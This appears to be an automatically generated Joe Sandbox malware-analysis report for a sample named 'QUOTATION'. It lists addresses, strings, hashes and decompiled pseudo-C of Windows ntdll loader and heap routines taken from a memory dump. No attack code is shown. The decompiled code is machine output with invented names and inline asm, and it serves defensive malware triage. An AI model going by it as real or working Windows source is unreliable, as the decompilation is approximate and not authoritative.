0x3373b391
0x3373b393
0x3373b39e
0x3373b39e
0x3373b39e
0x3373b3a0
0x3373b3a0
0x00000000
0x3373b3a0
0x3373b395
0x3373b39c
0x3373b406
0x00000000
0x3373b406
0x00000000
0x3373b179
0x3373b179
0x3373b179
0x3373b17c
0x3373b17e
0x3373b180
0x337882d2
0x337882d2
0x337882d9
0x337882db
0x337882f3
0x337882f8
0x337882fb
0x33788302
0x33788308
0x33788308
0x3373b2d8
0x3373b2dc
0x3373b2e5
0x3373b2e5
0x3373b2f2
0x3373b186
0x3373b188
0x3373b1ae
0x3373b1b2
0x3373b3dc
0x3373b3e3
0x3373b3eb
0x3373b3eb
0x3373b1be
0x3373b3f5
0x3373b3f5
0x3373b1c4
0x3373b1c4
0x3373b1c7
0x3373b1c9
0x00000000
0x3373b1cf
0x3373b1cf
0x3373b1d2
0x00000000
0x3373b1d2
0x3373b1c9
0x3373b180
0x3373b173

Strings

minkernel\ntdll\ldrutil.c, xrefs: 3378821A, 337882EE
LdrpPreprocessDllName, xrefs: 33788210, 337882E4
SxS, xrefs: 337881FA
LdrpPreprocessDllName for DLL %wZ failed with status 0x%08lx, xrefs: 337882DD
DLL %wZ was redirected to %wZ by %s, xrefs: 33788209
API set, xrefs: 33788201, 33788206

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID:
String ID: API set$DLL %wZ was redirected to %wZ by %s$LdrpPreprocessDllName$LdrpPreprocessDllName for DLL %wZ failed with status 0x%08lx$SxS$minkernel\ntdll\ldrutil.c
API String ID: 0-122214566
Opcode ID: be438a493d18df8a6123ffe5fa82a268236d29bce39dd8369baf8e4d34201866
Instruction ID: f951c0a59ee9f62cd3eba6368cd1bc2dc378111024262a6e53e15f1e295dec94
Opcode Fuzzy Hash: be438a493d18df8a6123ffe5fa82a268236d29bce39dd8369baf8e4d34201866
Instruction Fuzzy Hash: E3C17A75E06315ABEB048B64C889BBE77A5EF4B320F484169D842EF292DBB4CC44C3D0

Uniqueness

Uniqueness Score: -1.00%

Function 3375631F Relevance: 7.8, Strings: 6, Instructions: 261
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E3375631F(intOrPtr __ecx, signed int __edx, void* __edi, void* __esi) {
				intOrPtr _t71;
				void* _t73;
				signed int _t77;
				signed int _t79;
				char* _t84;
				intOrPtr _t85;
				signed int _t86;
				signed int _t88;
				signed char* _t89;
				void* _t99;
				signed int _t104;
				signed int _t106;
				signed int _t108;
				signed char _t109;
				void* _t111;
				intOrPtr _t112;
				intOrPtr _t116;
				intOrPtr _t124;
				intOrPtr _t127;
				signed char _t130;
				signed int _t132;
				signed int _t133;
				intOrPtr _t136;
				void* _t138;
				signed int* _t140;
				signed short _t141;
				signed int _t145;
				void* _t147;
				signed int _t148;
				signed int _t149;
				void* _t151;
				void* _t153;

				_push(__esi);
				_push(__edi);
				_t145 = __edx;
				_t136 = __ecx;
				if( *0x338168d4 == 0) {
					E337A1419();
				}
				_t71 =  *[fs:0x18];
				if(( *(_t71 + 0xfca) & 0x00004000) != 0) {
					return _t71;
				} else {
					_t116 = _t136;
					_t132 = _t145;
					_pop(_t138);
					_pop(_t147);
					_push(0x30);
					_push(0x337fc780);
					E33777BE4(_t111, _t138, _t147);
					 *(_t151 - 0x28) = _t132;
					 *((intOrPtr*)(_t151 - 0x20)) = _t116;
					_t112 =  *[fs:0x18];
					 *((intOrPtr*)(_t151 - 0x30)) = _t112;
					_t148 = 0;
					 *(_t151 - 0x24) = 0;
					while(1) {
						L6:
						_t133 = 0x2000;
						_t118 = 1;
						_t73 = 0;
						asm("lock cmpxchg [edi], ecx");
						if(0 != 1 || ( *(_t112 + 0xfca) & 0x00002000) != 0) {
							goto L8;
						}
						L44:
						_t104 =  *0x33815d50; // 0x50
						__eflags = _t104;
						if(_t104 == 0) {
							L51:
							 *((intOrPtr*)(_t151 - 0x40)) = 0xfffb6c20;
							_t55 = _t151 - 0x3c;
							 *_t55 =  *(_t151 - 0x3c) | 0xffffffff;
							__eflags =  *_t55;
							while(1) {
								__eflags =  *0x33815db0 - 1;
								if(__eflags != 0) {
									goto L6;
								}
								_push(_t151 - 0x40);
								_push(_t148);
								_t106 = E33762CF0();
								__eflags = _t106;
								if(_t106 < 0) {
									_t130 =  *0x338137c0; // 0x0
									__eflags = _t130 & 0x00000003;
									if((_t130 & 0x00000003) != 0) {
										E3379E692("minkernel\\ntdll\\ldrinit.c", 0x615, "_LdrpInitialize", 1, "Delaying execution failed with status 0x%08lx\n", _t106);
										_t153 = _t153 + 0x18;
										_t130 =  *0x338137c0; // 0x0
									}
									__eflags = _t130 & 0x00000040;
									if((_t130 & 0x00000040) != 0) {
										asm("int3");
									}
								}
							}
							continue;
						} else {
							_push(_t148);
							_push(_t148);
							_push(_t104);
							_t108 = E337629D0();
							_t118 = _t108;
							__eflags = _t108;
							if(__eflags < 0) {
								_t109 =  *0x338137c0; // 0x0
								__eflags = _t109 & 0x00000003;
								if((_t109 & 0x00000003) != 0) {
									E3379E692("minkernel\\ntdll\\ldrinit.c", 0x604, "_LdrpInitialize", 1, "NtWaitForSingleObject failed with status 0x%08lx, fallback to delay loop\n", _t118);
									_t153 = _t153 + 0x18;
									_t109 =  *0x338137c0; // 0x0
								}
								__eflags = _t109 & 0x00000040;
								if((_t109 & 0x00000040) != 0) {
									asm("int3");
								}
								goto L51;
							} else {
								_t73 =  *0x33815db0; // 0x2
							}
						}
						L8:
						_t140 =  *(_t112 + 0x30);
						if(_t73 == 0) {
							_push(_t148);
							_push(_t148);
							_push(_t148);
							_push(0x1f0003);
							_push(0x33815d50);
							E33762E30();
							 *(_t112 + 0xfca) =  *(_t112 + 0xfca) | 0x00000020;
							_t140[0x28] = 0x33813390;
							 *0x338165f4 = _t148;
							 *(_t151 - 0x34) =  &(_t140[0xa]);
							asm("lock bts dword [eax], 0x1");
							_t149 = E337A4F99();
							__eflags = _t149;
							if(_t149 >= 0) {
								 *(_t151 - 4) =  *(_t151 - 4) & 0x00000000;
								_t77 = _t140[4];
								 *(_t151 - 0x38) = _t77;
								__eflags =  *(_t77 + 8);
								if(__eflags < 0) {
									 *0x33815d70 = 1;
									 *0x33815d08 = 1;
								}
								_t133 =  *(_t151 - 0x28);
								_t149 = L3379A3F0(_t112,  *((intOrPtr*)(_t151 - 0x20)), _t133, _t140, _t149, __eflags);
								 *(_t151 - 0x1c) = _t149;
								__eflags = _t149;
								if(_t149 < 0) {
									_t79 =  *0x338137c0; // 0x0
									__eflags = _t79 & 0x00000003;
									if((_t79 & 0x00000003) != 0) {
										E3379E692("minkernel\\ntdll\\ldrinit.c", 0x678, "_LdrpInitialize", 0, "Process initialization failed with status 0x%08lx\n", _t149);
										_t79 =  *0x338137c0; // 0x0
									}
									__eflags = _t79 & 0x00000010;
									if((_t79 & 0x00000010) != 0) {
										asm("int3");
									}
									 *(_t151 - 4) = 0xfffffffe;
									goto L14;
								} else {
									__eflags =  *0x338168d0;
									if( *0x338168d0 != 0) {
										 *(_t151 - 4) = 0xfffffffe;
										goto L18;
									} else {
										_t124 =  *0x33815b24; // 0x3412cd8
										_t24 = _t124 + 0x24; // 0x3412cfc
										_t133 = _t24;
										_t25 = _t124 + 0x18; // 0x400000
										E3373DF36( *_t25, _t133, 0x14ae);
										_t126 = _t140[0x82];
										__eflags = _t140[0x82];
										if(__eflags != 0) {
											_t149 = E337A3BA3(_t112, _t126, _t140, _t149, __eflags);
											 *(_t151 - 0x1c) = _t149;
										}
										 *(_t151 - 4) = 0xfffffffe;
										_t141 = 0x2000;
										 *0x338165f4 = 3;
										asm("lock btr dword [eax], 0x1");
										_t127 =  *0x3381670c; // 0x34132a8
										E337564BE(_t127);
										__eflags = _t149;
										if(_t149 < 0) {
											goto L67;
										} else {
											_t79 = E3375648A(_t133);
											goto L15;
										}
									}
								}
							} else {
								_t79 =  *0x338137c0; // 0x0
								__eflags = _t79 & 0x00000003;
								if((_t79 & 0x00000003) != 0) {
									E3379E692("minkernel\\ntdll\\ldrinit.c", 0x660, "_LdrpInitialize", 0, "LDR:MRDATA: Process initialization failed with status 0x%08lx\n", _t149);
									_t79 =  *0x338137c0; // 0x0
								}
								__eflags = _t79 & 0x00000010;
								if((_t79 & 0x00000010) != 0) {
									asm("int3");
								}
								goto L14;
							}
						} else {
							 *(_t151 - 0x1c) = _t148;
							if( *0x338168d0 != 0) {
								L18:
								 *[fs:0x0] =  *((intOrPtr*)(_t151 - 0x10));
								return _t79;
							} else {
								if( *_t140 != 0) {
									_t148 = 0;
									 *0x33815d50 = 0;
									_t118 = 1;
									_t99 = 2;
									_t133 = 0x33815db0;
									asm("lock cmpxchg [edx], ecx");
									__eflags = _t99 - 2;
									if(_t99 == 2) {
										__eflags =  *_t140;
										if( *_t140 == 0) {
											_t149 =  *(_t151 - 0x1c);
											goto L62;
										} else {
											_t79 = E337A1B93();
											_t149 = _t79;
											__eflags = _t149;
											if(__eflags >= 0) {
												L62:
												_t79 = E3375648A(_t133);
											} else {
											}
											goto L11;
										}
										goto L15;
									} else {
										goto L44;
									}
								} else {
									L11:
									if(( *(_t112 + 0xfca) & 0x00000040) == 0) {
										_t166 =  *0x33815a85;
										if( *0x33815a85 != 0) {
											_t140 = 0x338167b4;
											L337253C0(0x338167b4);
											while(1) {
												__eflags =  *0x33815a85;
												if( *0x33815a85 == 0) {
													break;
												}
												L337321D0(0x338167b8, _t140, 0, 1);
											}
											E337252F0(_t118, _t140);
										}
										_t79 = E3373DA59(_t112,  *((intOrPtr*)(_t151 - 0x20)), _t140, _t149, _t166);
									}
									L14:
									_t141 = 0x2000;
									L15:
									if(_t149 < 0) {
										L67:
										_t120 = _t149;
										E337A1D5E(_t149);
										_push(_t149);
										_push(0xffffffff);
										_t79 = E33762C70();
										__eflags =  *(_t151 - 0x24);
										if( *(_t151 - 0x24) != 0) {
											goto L18;
										} else {
											E33778AA0(_t120, _t133, _t149);
											asm("int3");
											_t84 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
											__eflags =  *_t84;
											if( *_t84 != 0) {
												_t85 =  *[fs:0x30];
												__eflags =  *(_t85 + 0x240) & 0x00000004;
												if(( *(_t85 + 0x240) & 0x00000004) != 0) {
													_t88 = E33733C40();
													__eflags = _t88;
													if(_t88 == 0) {
														_t89 = 0x7ffe0385;
													} else {
														_t89 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
													}
													__eflags =  *_t89 & 0x00000020;
													if(( *_t89 & 0x00000020) != 0) {
														E337A0227(0x1484, _t133 | 0xffffffff, _t133 | 0xffffffff, _t133 | 0xffffffff, 0, 0);
													}
												}
											}
											asm("lock inc dword [0x33815db0]");
											_t86 =  *0x33815d50; // 0x50
											__eflags = _t86;
											if(_t86 != 0) {
												_push(0);
												_push(_t86);
												return E33762A70();
											}
											return _t86;
										}
									} else {
										if(( *(_t112 + 0xfca) & _t141) == 0) {
											_t79 = E337645B0();
										}
										goto L18;
									}
								}
							}
						}
						goto L76;
					}
				}
				L76:
			}

0x33756326
0x33756327
0x33756328
0x3375632a
0x3375632c
0x3375634d
0x3375634d
0x3375632e
0x33756340
0x33756356
0x33756342
0x33756342
0x33756344
0x33756346
0x33756347
0x33756357
0x33756359
0x3375635e
0x33756363
0x33756366
0x33756369
0x33756370
0x33756373
0x33756375
0x3375637d
0x3375637d
0x3375637d
0x33756384
0x33756385
0x33756387
0x3375638e
0x00000000
0x00000000
0x33793fde
0x33793fde
0x33793fe3
0x33793fe5
0x33794031
0x33794031
0x33794038
0x33794038
0x33794038
0x3379403c
0x3379403c
0x33794043
0x00000000
0x00000000
0x3379404c
0x3379404d
0x3379404e
0x33794053
0x33794055
0x33794057
0x3379405d
0x33794060
0x33794079
0x3379407e
0x33794081
0x33794081
0x33794087
0x3379408a
0x3379408c
0x3379408c
0x3379408a
0x33794055
0x00000000
0x33793fe7
0x33793fe7
0x33793fe8
0x33793fe9
0x33793fea
0x33793fef
0x33793ff1
0x33793ff3
0x33793fff
0x33794004
0x33794006
0x3379401f
0x33794024
0x33794027
0x33794027
0x3379402c
0x3379402e
0x33794030
0x33794030
0x00000000
0x33793ff5
0x33793ff5
0x33793ff5
0x33793ff3
0x3375639d
0x3375639d
0x337563a2
0x33793e99
0x33793e9a
0x33793e9b
0x33793e9c
0x33793ea1
0x33793ea6
0x33793eab
0x33793eb3
0x33793ebd
0x33793ec6
0x33793ec9
0x33793ed3
0x33793ed5
0x33793ed7
0x33793f14
0x33793f18
0x33793f1b
0x33793f1e
0x33793f22
0x33793f28
0x33793f2f
0x33793f2f
0x33756406
0x33756411
0x33756413
0x33756416
0x33756418
0x33793f3b
0x33793f40
0x33793f42
0x33793f5b
0x33793f63
0x33793f63
0x33793f68
0x33793f6a
0x33793f6c
0x33793f6c
0x33793f6d
0x00000000
0x3375641e
0x3375641e
0x33756425
0x33793f79
0x00000000
0x3375642b
0x33756430
0x33756436
0x33756436
0x33756439
0x3375643c
0x33756441
0x33756447
0x33756449
0x33793f8a
0x33793f8c
0x33793f8c
0x3375644f
0x33756456
0x3375645b
0x33756468
0x3375646d
0x33756473
0x33756478
0x3375647a
0x00000000
0x33756480
0x33756480
0x00000000
0x33756480
0x3375647a
0x33756425
0x33793ed9
0x33793ed9
0x33793ede
0x33793ee0
0x33793ef9
0x33793f01
0x33793f01
0x33793f06
0x33793f08
0x33793f0e
0x33793f0e
0x00000000
0x33793f08
0x337563a8
0x337563a8
0x337563b2
0x337563f6
0x337563f9
0x33756405
0x337563b4
0x337563b7
0x33793fbc
0x33793fbe
0x33793fc6
0x33793fc9
0x33793fca
0x33793fcf
0x33793fd3
0x33793fd6
0x33794091
0x33794093
0x337940a5
0x00000000
0x33794095
0x33794095
0x3379409a
0x3379409c
0x3379409e
0x337940a8
0x337940a8
0x00000000
0x337940a0
0x00000000
0x3379409e
0x00000000
0x33793fdc
0x00000000
0x33793fdc
0x337563bd
0x337563bd
0x337563c4
0x337563c6
0x337563cd
0x337940b2
0x337940b8
0x337940bd
0x337940bd
0x337940c4
0x00000000
0x00000000
0x337940d0
0x337940d0
0x337940d8
0x337940d8
0x337563d6
0x337563d6
0x337563db
0x337563db
0x337563e0
0x337563e2
0x337940e2
0x337940e2
0x337940e4
0x337940e9
0x337940ea
0x337940ec
0x337940f1
0x337940f5
0x00000000
0x337940fb
0x337940fc
0x33794101
0x3379410b
0x3375649c
0x3375649f
0x33794115
0x3379411b
0x33794122
0x33794128
0x3379412d
0x3379412f
0x33794141
0x33794131
0x3379413a
0x3379413a
0x33794146
0x33794149
0x3379415d
0x3379415d
0x33794149
0x33794122
0x337564a5
0x337564ac
0x337564b1
0x337564b3
0x337564b5
0x337564b7
0x00000000
0x337564b8
0x337564bd
0x337564bd
0x337563e8
0x337563ef
0x337563f1
0x337563f1
0x00000000
0x337563ef
0x337563e2
0x337563b7
0x337563b2
0x00000000
0x337563a2
0x3375637d
0x00000000

Strings

NtWaitForSingleObject failed with status 0x%08lx, fallback to delay loop, xrefs: 33794009
Delaying execution failed with status 0x%08lx, xrefs: 33794063
LDR:MRDATA: Process initialization failed with status 0x%08lx, xrefs: 33793EE3
minkernel\ntdll\ldrinit.c, xrefs: 33793EF4, 33793F56, 3379401A, 33794074
Process initialization failed with status 0x%08lx, xrefs: 33793F45
_LdrpInitialize, xrefs: 33793EEA, 33793F4C, 33794010, 3379406A

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID:
String ID: Delaying execution failed with status 0x%08lx$LDR:MRDATA: Process initialization failed with status 0x%08lx$NtWaitForSingleObject failed with status 0x%08lx, fallback to delay loop$Process initialization failed with status 0x%08lx$_LdrpInitialize$minkernel\ntdll\ldrinit.c
API String ID: 0-792281065
Opcode ID: 4ace189daa3c7bc767bcb419138743a3ed5026dcbf78e3d0ef60ff8a00155d94
Instruction ID: b2b4a62846a338d2a5cb4eae9ad3b28e30f53a6f7ca40e7dbc60b15dd5f639be
Opcode Fuzzy Hash: 4ace189daa3c7bc767bcb419138743a3ed5026dcbf78e3d0ef60ff8a00155d94
Instruction Fuzzy Hash: 38914571E02719DFFB28DF14D948B9A7BE6AB09764F040269F9506F781DBB09842CB90

Uniqueness

Uniqueness Score: -1.00%

Function 33730680 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 414
COMMONCrypto

Download Yara Rule

C-Code - Quality: 75%

			E33730680(intOrPtr __ecx, signed int* __edx) {
				signed int* _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v20;
				intOrPtr* _v24;
				signed int _v28;
				signed int _v32;
				signed char _v56;
				char _v60;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed char _t136;
				signed int _t141;
				void* _t143;
				signed int* _t145;
				signed int* _t146;
				intOrPtr _t148;
				unsigned int _t150;
				char _t162;
				signed int* _t164;
				signed char* _t165;
				intOrPtr _t166;
				signed int* _t168;
				signed char* _t169;
				signed char* _t171;
				signed char* _t180;
				intOrPtr _t195;
				signed int _t197;
				signed int _t209;
				signed char _t210;
				intOrPtr* _t215;
				intOrPtr _t222;
				signed int _t232;
				intOrPtr* _t242;
				intOrPtr _t244;
				unsigned int _t245;
				intOrPtr _t247;
				intOrPtr* _t258;
				signed char _t264;
				unsigned int _t269;
				intOrPtr _t271;
				signed int* _t276;
				signed int _t277;
				void* _t278;
				intOrPtr _t281;
				signed int* _t287;
				intOrPtr _t288;
				unsigned int _t291;
				unsigned int* _t295;
				intOrPtr* _t298;
				intOrPtr _t300;

				_t231 = __edx;
				_v8 = __edx;
				_t300 = __ecx;
				_t298 = E33730ACE(__edx,  *__edx);
				if(_t298 == __ecx + 0x8c) {
					L45:
					return 0;
				}
				if( *0x33816960 >= 1) {
					__eflags =  *(_t298 + 0x14) -  *__edx;
					if(__eflags < 0) {
						_t222 =  *[fs:0x30];
						__eflags =  *(_t222 + 0xc);
						if( *(_t222 + 0xc) == 0) {
							_push("HEAP: ");
							E3371B910();
						} else {
							E3371B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						_push("(UCRBlock->Size >= *Size)");
						E3371B910();
						__eflags =  *0x33815da8;
						if(__eflags == 0) {
							E337DFC95(_t231, 1, _t298, __eflags);
						}
					}
				}
				_t136 =  *((intOrPtr*)(_t298 - 2));
				_t4 = _t298 - 8; // -8
				_t232 = _t4;
				if(_t136 != 0) {
					_v12 = (_t232 & 0xffff0000) - ((_t136 & 0x000000ff) << 0x10) + 0x10000;
				} else {
					_v12 = _t300;
				}
				_v20 =  *((intOrPtr*)(_t298 + 0x10));
				_t141 =  *(_t300 + 0xcc) ^  *0x33816d48;
				_v28 = _t141;
				if(_t141 != 0) {
					 *0x338191e0(_t300,  &_v20, _v8);
					_t143 = _v28();
					_t276 = _v8;
					goto L13;
				} else {
					_t295 = _v8;
					if( *(_t298 + 0x14) -  *_t295 <=  *(_t300 + 0x6c) << 3) {
						_t269 =  *(_t298 + 0x14);
						__eflags = _t269 -  *(_t300 + 0x5c) << 3;
						if(__eflags < 0) {
							 *_t295 = _t269;
						}
					}
					if(( *(_t300 + 0x40) & 0x00040000) != 0) {
						_push(0);
						_push("true");
						_v16 = 0x40;
						_push( &_v60);
						_push(3);
						_push(_t300);
						_push(0xffffffff);
						_t209 = E33762BE0();
						__eflags = _t209;
						_t210 = _v56;
						if(_t209 < 0) {
							L61:
							__eflags = 0;
							E337E5FED(0, _t300, 1, _t210, 0, 0);
							_v16 = 4;
							L62:
							_t276 = _v8;
							goto L8;
						}
						__eflags = _t210 & 0x00000060;
						if((_t210 & 0x00000060) == 0) {
							goto L61;
						}
						__eflags = _v60 - _t300;
						if(__eflags == 0) {
							goto L62;
						}
						goto L61;
					} else {
						_v16 = 4;
						L8:
						_v32 =  *_t276;
						_v28 =  *((intOrPtr*)(_t300 + 0x1f8)) -  *((intOrPtr*)(_t300 + 0x244));
						_t215 = _t300 + 0xd4;
						_v24 = _t215;
						if( *0x3381373c != 0) {
							L11:
							_push(_v16);
							_push(0x1000);
							_push(_t276);
							_push(0);
							_push( &_v20);
							_push(0xffffffff);
							_t143 = E33762B10();
							_t276 = _v8;
							L12:
							 *((intOrPtr*)(_t300 + 0x21c)) =  *((intOrPtr*)(_t300 + 0x21c)) + 1;
							L13:
							if(_t143 < 0) {
								 *((intOrPtr*)(_t300 + 0x224)) =  *((intOrPtr*)(_t300 + 0x224)) + 1;
								goto L45;
							}
							_t145 =  *( *[fs:0x30] + 0x50);
							if(_t145 != 0) {
								__eflags =  *_t145;
								if(__eflags == 0) {
									goto L15;
								}
								_t146 =  &(( *( *[fs:0x30] + 0x50))[0x89]);
								L16:
								if( *_t146 != 0) {
									__eflags =  *( *[fs:0x30] + 0x240) & 0x00000001;
									if(__eflags != 0) {
										E337DEFD3(_t232, _t300, _v20,  *_t276, 2);
									}
								}
								if( *((intOrPtr*)(_t300 + 0x4c)) != 0) {
									_t291 =  *(_t300 + 0x50) ^  *_t232;
									 *_t232 = _t291;
									_t264 = _t291 >> 0x00000010 ^ _t291 >> 0x00000008 ^ _t291;
									if(_t291 >> 0x18 != _t264) {
										_push(_t264);
										E337DD646(_t232, _t300, _t232, _t298, _t300, __eflags);
									}
								}
								 *((char*)(_t232 + 2)) = 0;
								 *((char*)(_t232 + 7)) = 0;
								_t148 =  *((intOrPtr*)(_t298 + 8));
								_t242 =  *((intOrPtr*)(_t298 + 0xc));
								_t277 =  *((intOrPtr*)(_t148 + 4));
								_v32 = _t277;
								_t38 = _t298 + 8; // 0x8
								_t278 = _t38;
								if( *_t242 != _t277 ||  *_t242 != _t278) {
									E337E5FED(0xd, 0, _t278, _v32,  *_t242, 0);
								} else {
									 *_t242 = _t148;
									 *((intOrPtr*)(_t148 + 4)) = _t242;
								}
								_t150 =  *(_t298 + 0x14);
								if(_t150 == 0) {
									L27:
									_t244 = _v12;
									 *((intOrPtr*)(_t244 + 0x30)) =  *((intOrPtr*)(_t244 + 0x30)) - 1;
									 *((intOrPtr*)(_t244 + 0x2c)) =  *((intOrPtr*)(_t244 + 0x2c)) - ( *(_t298 + 0x14) >> 0xc);
									 *((intOrPtr*)(_t300 + 0x1f8)) =  *((intOrPtr*)(_t300 + 0x1f8)) +  *(_t298 + 0x14);
									 *((intOrPtr*)(_t300 + 0x20c)) =  *((intOrPtr*)(_t300 + 0x20c)) + 1;
									 *((intOrPtr*)(_t300 + 0x208)) =  *((intOrPtr*)(_t300 + 0x208)) - 1;
									_t245 =  *(_t298 + 0x14);
									if(_t245 >= 0x7f000) {
										 *((intOrPtr*)(_t300 + 0x1fc)) =  *((intOrPtr*)(_t300 + 0x1fc)) - _t245;
										_t245 =  *(_t298 + 0x14);
									}
									_t280 = _v8;
									_t154 =  *_v8;
									if(_t245 <=  *_v8) {
										_t281 = _v12;
										__eflags =  *((intOrPtr*)(_t298 + 0x10)) + _t245 -  *((intOrPtr*)(_t281 + 0x28));
										_t280 = _v8;
										if( *((intOrPtr*)(_t298 + 0x10)) + _t245 !=  *((intOrPtr*)(_t281 + 0x28))) {
											 *_t280 =  *_t280 + ( *_t232 & 0x0000ffff) * 8;
											goto L30;
										}
										_t154 =  *_t280;
										goto L29;
									} else {
										L29:
										E3373096B(_t300, _v12,  *((intOrPtr*)(_t298 + 0x10)) + 0xffffffe8 +  *_t280, _t245 - _t154, _t232, _t280);
										 *_v8 =  *_v8 << 3;
										L30:
										_t247 = _v12;
										 *((char*)(_t232 + 3)) = 0;
										_t282 =  *((intOrPtr*)(_t247 + 0x18));
										if( *((intOrPtr*)(_t247 + 0x18)) != _t247) {
											_t162 = (_t232 - _t247 >> 0x10) + 1;
											_v32 = _t162;
											__eflags = _t162 - 0xfe;
											if(_t162 >= 0xfe) {
												E337E5FED(3, _t282, _t232, _t247, 0, 0);
												_t162 = _v32;
											}
										} else {
											_t162 = 0;
										}
										 *((char*)(_t232 + 6)) = _t162;
										_t164 =  *( *[fs:0x30] + 0x50);
										if(_t164 != 0) {
											__eflags =  *_t164;
											if( *_t164 == 0) {
												goto L33;
											}
											_t165 =  &(( *( *[fs:0x30] + 0x50))[0x89]);
											L34:
											if( *_t165 != 0) {
												_t166 =  *[fs:0x30];
												__eflags =  *(_t166 + 0x240) & 0x00000001;
												if(( *(_t166 + 0x240) & 0x00000001) == 0) {
													goto L35;
												}
												__eflags = E33733C40();
												if(__eflags == 0) {
													_t180 = 0x7ffe0380;
												} else {
													_t180 =  &(( *( *[fs:0x30] + 0x50))[0x89]);
												}
												_t299 = _v8;
												E337DF1C3(_t232, _t300, _t232, __eflags,  *_v8,  *(_t300 + 0x74) << 3,  *_t180 & 0x000000ff);
												L36:
												_t168 =  *( *[fs:0x30] + 0x50);
												if(_t168 != 0) {
													__eflags =  *_t168;
													if( *_t168 == 0) {
														goto L37;
													}
													_t169 =  &(( *( *[fs:0x30] + 0x50))[0x8c]);
													L38:
													if( *_t169 != 0) {
														__eflags = E33733C40();
														if(__eflags == 0) {
															_t171 = 0x7ffe038a;
														} else {
															_t171 =  &(( *( *[fs:0x30] + 0x50))[0x8c]);
														}
														E337DF1C3(_t232, _t300, _t232, __eflags,  *_t299,  *(_t300 + 0x74) << 3,  *_t171 & 0x000000ff);
													}
													return _t232;
												}
												L37:
												_t169 = 0x7ffe038a;
												goto L38;
											}
											L35:
											_t299 = _v8;
											goto L36;
										}
										L33:
										_t165 = 0x7ffe0380;
										goto L34;
									}
								} else {
									_t287 =  *(_t300 + 0xb8);
									if(_t287 != 0) {
										_t256 = _t150 >> 0xc;
										__eflags = _t256 - _t287[1];
										if(_t256 < _t287[1]) {
											L79:
											E3373036A(_t300, _t287, 0, _t298, _t256, _t150);
											goto L24;
										} else {
											goto L75;
										}
										while(1) {
											L75:
											_t197 =  *_t287;
											__eflags = _t197;
											_v32 = _t197;
											_t150 =  *(_t298 + 0x14);
											if(_t197 == 0) {
												break;
											}
											_t287 = _v32;
											__eflags = _t256 - _t287[1];
											if(_t256 >= _t287[1]) {
												continue;
											}
											goto L79;
										}
										_t256 = _t287[1] - 1;
										__eflags = _t287[1] - 1;
										goto L79;
									}
									L24:
									_t258 =  *((intOrPtr*)(_t298 + 4));
									_t195 =  *_t298;
									_t288 =  *_t258;
									if(_t288 !=  *((intOrPtr*)(_t195 + 4)) || _t288 != _t298) {
										E337E5FED(0xd, 0, _t298,  *((intOrPtr*)(_t195 + 4)), _t288, 0);
									} else {
										 *_t258 = _t195;
										 *((intOrPtr*)(_t195 + 4)) = _t258;
									}
									goto L27;
								}
							}
							L15:
							_t146 = 0x7ffe0380;
							goto L16;
						}
						_t271 =  *_t215;
						if(_t271 != 0) {
							L63:
							_t101 = _t298 - 8; // -8
							_t232 = _t101;
							__eflags = _v28 +  *_t276 - _t271;
							if(__eflags <= 0) {
								goto L11;
							}
							_t220 =  *(_v24 + 4);
							__eflags =  *(_v24 + 4);
							if(__eflags != 0) {
								E337E5FED(0x15, _t300, 0, _t220, _v32, _v28);
								_t276 = _v8;
							}
							_t143 = 0xc000012d;
							goto L12;
						}
						_t271 =  *0x3381432c; // 0x0
						_v24 = 0x3381432c;
						if(_t271 != 0) {
							goto L63;
						}
						goto L11;
					}
				}
			}

0x33730689
0x3373068d
0x33730690
0x33730699
0x337306a3
0x33730929
0x00000000
0x33730929
0x337306b0
0x33784e97
0x33784e99
0x33784e9f
0x33784ea5
0x33784ea9
0x33784eca
0x33784ecf
0x33784eab
0x33784ec0
0x33784ec5
0x33784ed7
0x33784edc
0x33784ee4
0x33784eeb
0x33784ef6
0x33784ef6
0x33784eeb
0x33784e99
0x337306b6
0x337306b9
0x337306b9
0x337306be
0x33730921
0x337306c4
0x337306c4
0x337306c4
0x337306ca
0x337306d3
0x337306d9
0x337306dc
0x33784f0a
0x33784f10
0x33784f13
0x00000000
0x337306e2
0x337306e2
0x337306f2
0x33730930
0x33730936
0x33730938
0x3373093e
0x3373093e
0x33730938
0x337306ff
0x33784f1b
0x33784f1d
0x33784f22
0x33784f29
0x33784f2a
0x33784f2c
0x33784f2d
0x33784f2f
0x33784f34
0x33784f36
0x33784f39
0x33784f44
0x33784f4d
0x33784f4f
0x33784f54
0x33784f5b
0x33784f5b
0x00000000
0x33784f5b
0x33784f3b
0x33784f3d
0x00000000
0x00000000
0x33784f3f
0x33784f42
0x00000000
0x00000000
0x00000000
0x33730705
0x33730705
0x3373070c
0x3373070e
0x33730724
0x33730727
0x3373072d
0x33730730
0x33730751
0x33730751
0x33730757
0x3373075c
0x3373075d
0x3373075f
0x33730760
0x33730762
0x33730767
0x3373076a
0x3373076a
0x33730770
0x33730772
0x33784f9f
0x00000000
0x33784f9f
0x3373077e
0x33730783
0x33784faa
0x33784fad
0x00000000
0x00000000
0x33784fbc
0x3373078e
0x33730791
0x33784fcc
0x33784fd3
0x33784fe2
0x33784fe2
0x33784fd3
0x3373079b
0x337307a0
0x337307a4
0x337307b0
0x337307b7
0x33784fec
0x33784ff1
0x33784ff1
